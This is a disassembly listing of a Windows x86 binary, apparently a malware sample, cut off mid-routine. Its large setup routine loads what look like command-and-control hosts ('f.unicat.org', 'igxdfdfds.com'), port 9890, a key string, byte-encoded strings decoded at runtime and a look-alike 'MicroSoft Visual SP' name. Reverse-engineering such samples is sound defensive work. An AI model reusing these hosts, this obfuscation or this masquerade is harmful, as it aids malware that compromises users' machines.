		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aF_unicat_org ; "f.unicat.org"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a9890	; "9890"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset dword_44486C
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset off_444868
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgxdfdfds_com ;	"igxdfdfds.com"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAydassklfsdsew ; "aydassklfsdsewrlkwel"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444830 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	1
		push	4
		push	13h
		push	1
		lea	ecx, [esp+3A4h+var_348]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 50h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+3A4h+var_4], 28h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+388h], 2Dh
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
